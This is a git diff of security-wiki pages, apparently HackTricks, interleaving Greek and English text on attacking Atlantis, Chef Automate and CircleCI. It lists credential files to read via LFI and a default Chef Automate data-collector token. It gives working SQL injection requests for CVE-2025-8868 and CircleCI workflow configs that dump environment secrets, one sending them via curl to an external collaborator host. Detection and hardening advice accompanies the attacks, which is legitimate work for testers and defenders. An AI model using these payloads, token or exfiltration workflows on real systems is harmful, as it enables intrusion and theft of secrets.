Αν καταφέρατε να αποκτήσετε πρόσβαση στον διακομιστή ή τουλάχιστον έχετε LFI, υπάρχουν μερικά ενδιαφέροντα πράγματα που θα πρέπει να προσπαθήσετε να διαβάσετε:
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
- `/home/atlantis/.git-credentials` Περιέχει διαπιστευτήρια πρόσβασης vcs
- `/atlantis-data/atlantis.db` Περιέχει διαπιστευτήρια πρόσβασης vcs με περισσότερες πληροφορίες
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Αρχείο κατάστασης του Terraform
- Παράδειγμα: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Μεταβλητές περιβάλλοντος
- `/proc/[2-20]/cmdline` Γραμμή εντολών του `atlantis server` (μπορεί να περιέχει ευαίσθητα δεδομένα)
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
### Mitigations
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Επειδή οποιοσδήποτε μπορεί να σχολιάσει σε δημόσιες αιτήσεις, ακόμη και με όλες τις διαθέσιμες ρυθμίσεις ασφαλείας, είναι ακόμα επικίνδυνο να εκτελείτε το Atlantis σε δημόσια αποθετήρια χωρίς σωστή ρύθμιση των ρυθμίσεων ασφαλείας.
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
Αν εκτελείτε σε δημόσιο αποθετήριο (το οποίο δεν συνιστάται, δείτε παραπάνω), δεν θα πρέπει να ρυθμίσετε `--allow-fork-prs` (προεπιλογή false) γιατί οποιοσδήποτε μπορεί να ανοίξει μια αίτηση από το fork του στο αποθετήριο σας.
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Το Atlantis απαιτεί να καθορίσετε μια λίστα επιτρεπόμενων αποθετηρίων από τα οποία θα δέχεται webhooks μέσω της σημαίας `--repo-allowlist`. Για παράδειγμα:
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
- Συγκεκριμένα αποθετήρια: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Ολόκληρη η οργάνωσή σας: `--repo-allowlist=github.com/runatlantis/*`
- Κάθε αποθετήριο στην εγκατάσταση GitHub Enterprise σας: `--repo-allowlist=github.yourcompany.com/*`
- Όλα τα αποθετήρια: `--repo-allowlist=*`. Χρήσιμο όταν βρίσκεστε σε προστατευμένο δίκτυο αλλά επικίνδυνο χωρίς επίσης να ρυθμίσετε ένα webhook secret.
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
Αυτή η σημαία διασφαλίζει ότι η εγκατάσταση του Atlantis σας δεν χρησιμοποιείται με αποθετήρια που δεν ελέγχετε. Δείτε `atlantis server --help` για περισσότερες λεπτομέρειες.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
Αν οι επιτιθέμενοι υποβάλλουν αιτήσεις με κακόβουλο κώδικα Terraform είναι στο μοντέλο απειλής σας, τότε πρέπει να είστε ενήμεροι ότι οι εγκρίσεις `terraform apply` δεν είναι αρκετές. Είναι δυνατόν να εκτελέσετε κακόβουλο κώδικα σε ένα `terraform plan` χρησιμοποιώντας την [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ή καθορίζοντας έναν κακόβουλο πάροχο. Αυτός ο κώδικας θα μπορούσε στη συνέχεια να εξάγει τα διαπιστευτήριά σας.
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
Για να το αποτρέψετε, θα μπορούσατε να:
To prevent this, you could:
1. Ψήνετε τους παρόχους στην εικόνα του Atlantis ή να τους φιλοξενείτε και να αρνείστε την έξοδο στην παραγωγή.
2. Να εφαρμόσετε το πρωτόκολλο μητρώου παρόχων εσωτερικά και να αρνείστε την δημόσια έξοδο, έτσι ελέγχετε ποιος έχει δικαίωμα εγγραφής στο μητρώο.
3. Να τροποποιήσετε τη [ρύθμιση αποθετηρίου server-side](https://www.runatlantis.io/docs/server-side-repo-config.html) του `plan` βήματος για να επικυρώσετε τη χρήση μη επιτρεπόμενων παρόχων ή πηγών δεδομένων ή PRs από μη επιτρεπόμενους χρήστες. Θα μπορούσατε επίσης να προσθέσετε επιπλέον επικύρωση σε αυτό το σημείο, π.χ. απαιτώντας ένα "thumbs-up" στην PR πριν επιτρέψετε την συνέχιση του `plan`. Το Conftest θα μπορούσε να είναι χρήσιμο εδώ.
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Το Atlantis θα πρέπει να εκτελείται με ρυθμισμένα Webhook secrets μέσω των μεταβλητών περιβάλλοντος `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Ακόμη και με τη σημαία `--repo-allowlist` ρυθμισμένη, χωρίς ένα webhook secret, οι επιτιθέμενοι θα μπορούσαν να κάνουν αιτήματα στο Atlantis προσποιούμενοι ότι είναι ένα αποθετήριο που είναι στη λίστα επιτρεπόμενων. Τα Webhook secrets διασφαλίζουν ότι τα αιτήματα webhook προέρχονται πραγματικά από τον πάροχο VCS σας (GitHub ή GitLab).
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Αν χρησιμοποιείτε Azure DevOps, αντί για webhook secrets προσθέστε ένα βασικό όνομα χρήστη και κωδικό πρόσβασης.
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Το Azure DevOps υποστηρίζει την αποστολή ενός βασικού επικεφαλίδας αυθεντικοποίησης σε όλα τα γεγονότα webhook. Αυτό απαιτεί τη χρήση μιας HTTPS διεύθυνσης URL για την τοποθεσία του webhook σας.
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
Αν χρησιμοποιείτε webhook secrets αλλά η κίνηση σας είναι μέσω HTTP, τότε τα webhook secrets θα μπορούσαν να κλαπούν. Ενεργοποιήστε το SSL/HTTPS χρησιμοποιώντας τις σημαίες `--ssl-cert-file` και `--ssl-key-file`.
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
Συνιστάται πολύ να ενεργοποιήσετε την αυθεντικοποίηση στην υπηρεσία ιστού. Ενεργοποιήστε το BasicAuth χρησιμοποιώντας τη σημαία `--web-basic-auth=true` και ρυθμίστε ένα όνομα χρήστη και έναν κωδικό πρόσβασης χρησιμοποιώντας τις σημαίες `--web-username=yourUsername` και `--web-password=yourPassword`.
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
Μπορείτε επίσης να περάσετε αυτά ως μεταβλητές περιβάλλοντος `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` και `ATLANTIS_WEB_PASSWORD=yourPassword`.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
### References
@@ -370,3 +386,6 @@ apply_requirements: []
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,13 +1,13 @@
# Chef Automate Ασφάλεια
# Chef Automate Security
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το Chef Automate
## What is Chef Automate
Chef Automate είναι μια πλατφόρμα για αυτοματοποίηση υποδομών, συμμόρφωση και παράδοση εφαρμογών. Εκθέτει ένα web UI (συχνά Angular) που επικοινωνεί με backend gRPC services μέσω ενός gRPC-Gateway, παρέχοντας REST-like endpoints κάτω από διαδρομές όπως /api/v0/.
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
- Συνηθισμένα στοιχεία backend: gRPC services, PostgreSQL (συχνά ορατό μέσω pq: error prefixes), data-collector ingest service
- Μηχανισμοί ελέγχου ταυτότητας: user/API tokens και header token του data collector x-data-collector-token
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
## Enumeration & Attacks

View File

@@ -2,76 +2,81 @@
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
## Overview
Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να enumerate και attack Chef Automate instances, με έμφαση σε:
- Ανακάλυψη gRPC-Gateway-backed REST endpoints και inference των request schemas μέσω validation/error responses
- Κατάχρηση του x-data-collector-token authentication header όταν υπάρχουν defaults
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) που επηρεάζει το πεδίο filters[].type στο /api/v0/compliance/profiles/search
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
> Σημείωση: Οι backend responses που περιλαμβάνουν header grpc-metadata-content-type: application/grpc συνήθως υποδεικνύουν ένα gRPC-Gateway που γεφυρώνει REST calls προς gRPC services.
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
## Recon: Architecture and Fingerprints
- Front-end: Συχνά Angular. Static bundles μπορούν να δώσουν hints για REST paths (π.χ., /api/v0/...)
- API transport: REST σε gRPC μέσω gRPC-Gateway
- Οι απαντήσεις μπορεί να περιλαμβάνουν grpc-metadata-content-type: application/grpc
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Σώματα σφάλματος που ξεκινούν με pq: υποδεικνύουν ισχυρά PostgreSQL με τον Go pq driver
- Σημαντικά Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Το Chef Automate εκθέτει έναν data collector που πιστοποιεί αιτήματα μέσω ενός αφιερωμένου header:
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
- Header: x-data-collector-token
- Risk: Σε μερικά περιβάλλοντα μπορεί να διατηρείται ένα default token που δίνει πρόσβαση σε προστατευμένες API routes. Γνωστό default παρατηρημένο in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Αν υπάρχει, αυτό το token μπορεί να χρησιμοποιηθεί για κλήσεις σε Compliance API endpoints που κανονικά προστατεύονται από auth. Προσπαθήστε πάντα να rotate/disable defaults κατά το hardening.
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpoints συχνά leak χρήσιμα validation errors που περιγράφουν το αναμενόμενο request model.
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
Για το /api/v0/compliance/profiles/search, το backend περιμένει ένα body με ένα filters array, όπου κάθε στοιχείο είναι αντικείμενο με:
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
- type: string (filter field identifier)
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
Μη έγκυρο JSON ή λάθος τύποι πεδίων συνήθως προκαλούν 4xx/5xx με υποδείξεις, και τα headers υποδεικνύουν τη συμπεριφορά του gRPC-Gateway. Χρησιμοποιήστε αυτά για να χαρτογραφήσετε πεδία και να εντοπίσετε injection surfaces.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## Compliance API SQL Injection (CVE-2025-8868)
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Έλλειψη σωστής parameterization/whitelisting κατά την εισαγωγή του πεδίου type σε ένα dynamic SQL fragment (πιθανότατα χρησιμοποιείται για την κατασκευή identifiers/WHERE clauses). Κατασκευασμένες τιμές στο type αξιολογούνται από PostgreSQL.
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
Working time-based payload:
Λειτουργικό time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Technique notes:
- Κλείστε την αρχική συμβολοσειρά με ένα μονό εισαγωγικό
- Συγκολλήστε ένα υποερώτημα που καλεί pg_sleep(N)
- Επανεισέλθετε στο πλαίσιο συμβολοσειράς μέσω || ώστε το τελικό SQL να παραμένει συντακτικά έγκυρο ανεξάρτητα από το πού είναι ενσωματωμένο το type
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
### Απόδειξη μέσω διαφορικής καθυστέρησης
### Proof via differential latency
Στείλτε ζευγαρωμένα αιτήματα και συγκρίνετε τους χρόνους απόκρισης για να επαληθεύσετε την server-side execution:
Send paired requests and compare response times to validate server-side execution:
- N = 1 second
- N = 1 δευτερόλεπτο
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 δευτερόλεπτα
- N = 5 seconds
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -89,15 +96,16 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Οι χρόνοι απόκρισης αυξάνονται με pg_sleep(N)
- Οι απαντήσεις HTTP 500 ενδέχεται να περιέχουν λεπτομέρειες pq: κατά τις δοκιμές, επιβεβαιώνοντας μονοπάτια εκτέλεσης SQL
> Συμβουλή: Χρησιμοποιήστε εργαλείο επικύρωσης χρονισμού (π.χ., πολλαπλές δοκιμές με στατιστική σύγκριση) για μείωση θορύβου και ψευδώς θετικών.
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
### Impact
Πιστοποιημένοι χρήστες — ή μη πιστοποιημένοι παράγοντες που καταχρώνται ένα προεπιλεγμένο x-data-collector-token — μπορούν να εκτελέσουν αυθαίρετο SQL εντός του PostgreSQL περιβάλλοντος του Chef Automate, θέτοντας σε κίνδυνο την εμπιστευτικότητα και την ακεραιότητα των προφίλ συμμόρφωσης, της διαμόρφωσης και της τηλεμετρίας.
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
### Affected versions / Fix
@@ -107,29 +115,29 @@ Observed behavior:
## Detection and Forensics
- API layer:
- Παρακολουθήστε κωδικούς 500 στο /api/v0/compliance/profiles/search όπου filters[].type περιέχει quotes ('), concatenation (||), ή αναφορές σε συναρτήσεις όπως pg_sleep
- Ελέγξτε τα headers απάντησης για grpc-metadata-content-type για να εντοπίσετε ροές gRPC-Gateway
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Database layer (PostgreSQL):
- Ελέγξτε για κλήσεις pg_sleep και σφάλματα κακοσχηματισμένων identifiers (συχνά εμφανιζόμενα με πρόθεμα pq: από τον Go pq driver)
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Authentication:
- Καταγράψτε και ειδοποιήστε για χρήση του x-data-collector-token, ειδικά γνωστών προεπιλεγμένων τιμών, σε όλα τα API paths
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
## Mitigations and Hardening
- Immediate:
- Ανανεώστε/απενεργοποιήστε τα προεπιλεγμένα data collector tokens
- Περιορίστε την εισερχόμενη πρόσβαση στα data collector endpoints· επιβάλετε ισχυρά, μοναδικά tokens
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Χρησιμοποιήστε παραμετροποίηση για τα queries· μην συνενώνετε ποτέ τμήματα SQL ως συμβολοσειρές
- Εφαρμόστε αυστηρή λευκή λίστα για τις επιτρεπόμενες τιμές type στον server (enum)
- Αποφύγετε τη δυναμική κατασκευή SQL για identifiers/ρήτρες· εάν απαιτείται δυναμική συμπεριφορά, χρησιμοποιήστε ασφαλές quoting για identifiers και ρητές λευκές λίστες
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
## Practical Testing Checklist
- Ελέγξτε αν το x-data-collector-token γίνεται αποδεκτό και αν το γνωστό προεπιλεγμένο λειτουργεί
- Χαρτογραφήστε το schema αιτημάτων του Compliance API προκαλώντας validation errors και διαβάζοντας error messages/headers
- Δοκιμάστε για SQLi σε λιγότερο προφανή πεδία τύπου “identifier-like” (π.χ., filters[].type), όχι μόνο σε πίνακες τιμών ή πεδία κειμένου κορυφαίου επιπέδου
- Χρησιμοποιήστε τεχνικές βάσει χρόνου με concatenation για να διατηρήσετε το SQL συντακτικά έγκυρο σε διαφορετικά contexts
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
## References

View File

@@ -4,232 +4,255 @@
### Basic Information
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) είναι μια πλατφόρμα Συνεχούς Ενσωμάτωσης όπου μπορείτε να **ορίσετε πρότυπα** που υποδεικνύουν τι θέλετε να κάνει με κάποιον κώδικα και πότε να το κάνει. Με αυτόν τον τρόπο μπορείτε να **αυτοματοποιήσετε τις δοκιμές** ή **τις αναπτύξεις** απευθείας **από το κύριο branch του repo** για παράδειγμα.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
### Permissions
**CircleCI** **κληρονομεί τις άδειες** από το github και το bitbucket που σχετίζονται με τον **λογαριασμό** που συνδέεται.\
Στις δοκιμές μου διαπίστωσα ότι όσο έχετε **δικαιώματα εγγραφής πάνω στο repo στο github**, θα μπορείτε να **διαχειριστείτε τις ρυθμίσεις του έργου σας στο CircleCI** (να ορίσετε νέα ssh keys, να αποκτήσετε project api keys, να δημιουργήσετε νέα branches με νέες ρυθμίσεις CircleCI...).
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
Ωστόσο, πρέπει να είστε **διαχειριστής του repo** για να **μετατρέψετε το repo σε έργο CircleCI**.
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
### Env Variables & Secrets
Σύμφωνα με [**τα docs**](https://circleci.com/docs/2.0/env-vars/) υπάρχουν διάφοροι τρόποι για να **φορτώσετε τιμές σε μεταβλητές περιβάλλοντος** μέσα σε μια ροή εργασίας.
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
#### Built-in env variables
Κάθε κοντέινερ που εκτελείται από το CircleCI θα έχει πάντα [**συγκεκριμένες env vars που ορίζονται στην τεκμηρίωση**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) όπως `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ή `CIRCLE_USERNAME`.
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
#### Clear text
Μπορείτε να τις δηλώσετε σε καθαρό κείμενο μέσα σε μια **εντολή**:
You can declare them in clear text inside a **command**:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο **run environment**:
You can declare them in clear text inside the **run environment**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο **build-job environment**:
You can declare them in clear text inside the **build-job environment**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο **περιβάλλον ενός κοντέινερ**:
You can declare them in clear text inside the **environment of a container**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Project Secrets
Αυτά είναι **μυστικά** που θα είναι **προσβάσιμα** μόνο από το **project** (από **οποιοδήποτε branch**).\
Μπορείτε να τα δείτε **δηλωμένα στο** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> Η λειτουργία "**Import Variables**" επιτρέπει την **εισαγωγή μεταβλητών από άλλα projects** σε αυτό.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
#### Context Secrets
Αυτά είναι μυστικά που είναι **σε επίπεδο οργανισμού**. Από **προεπιλογή, οποιοδήποτε repo** θα μπορεί να **προσπελάσει οποιοδήποτε μυστικό** αποθηκεύεται εδώ:
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
![](<../images/image (123).png>)
> [!TIP]
> Ωστόσο, σημειώστε ότι μια διαφορετική ομάδα (αντί για Όλα τα μέλη) μπορεί να **επιλεγεί για να δώσει πρόσβαση στα μυστικά μόνο σε συγκεκριμένα άτομα**.\
> Αυτό είναι αυτή τη στιγμή ένας από τους καλύτερους τρόπους για να **αυξήσετε την ασφάλεια των μυστικών**, ώστε να μην επιτρέπεται σε όλους να τα προσπελάσουν αλλά μόνο σε ορισμένα άτομα.
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
### Attacks
#### Search Clear Text Secrets
Αν έχετε **πρόσβαση στο VCS** (όπως το github) ελέγξτε το αρχείο `.circleci/config.yml` κάθε **repo σε κάθε branch** και **αναζητήστε** πιθανά **clear text secrets** που είναι αποθηκευμένα εκεί.
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
#### Secret Env Vars & Context enumeration
Ελέγχοντας τον κώδικα μπορείτε να βρείτε **όλα τα ονόματα των μυστικών** που χρησιμοποιούνται σε κάθε αρχείο `.circleci/config.yml`. Μπορείτε επίσης να αποκτήσετε τα **ονόματα των contexts** από αυτά τα αρχεία ή να τα ελέγξετε στην κονσόλα ιστού: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Exfiltrate Project secrets
> [!WARNING]
> Για να **εξάγετε ΟΛΑ** τα μυστικά του project και του context, χρειάζεται **μόνο** να έχετε **WRITE** πρόσβαση σε **μόνο 1 repo** σε ολόκληρο τον οργανισμό github (_και ο λογαριασμός σας πρέπει να έχει πρόσβαση στα contexts αλλά από προεπιλογή όλοι μπορούν να προσπελάσουν κάθε context_).
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> [!CAUTION]
> Η λειτουργία "**Import Variables**" επιτρέπει την **εισαγωγή μεταβλητών από άλλα projects** σε αυτό. Επομένως, ένας επιτιθέμενος θα μπορούσε να **εισαγάγει όλες τις μεταβλητές του project από όλα τα repos** και στη συνέχεια να **εξάγει όλες μαζί**.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
Όλα τα μυστικά του project είναι πάντα ρυθμισμένα στο env των jobs, οπότε απλά καλώντας env και αποκρύπτοντάς το σε base64 θα εξάγει τα μυστικά στην **κονσόλα καταγραφής web workflows**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
Αν **δεν έχετε πρόσβαση στην κονσόλα ιστού** αλλά έχετε **πρόσβαση στο repo** και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να **δημιουργήσετε μια ροή εργασίας** που **ενεργοποιείται κάθε λεπτό** και που **εξάγει τα μυστικά σε μια εξωτερική διεύθυνση**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
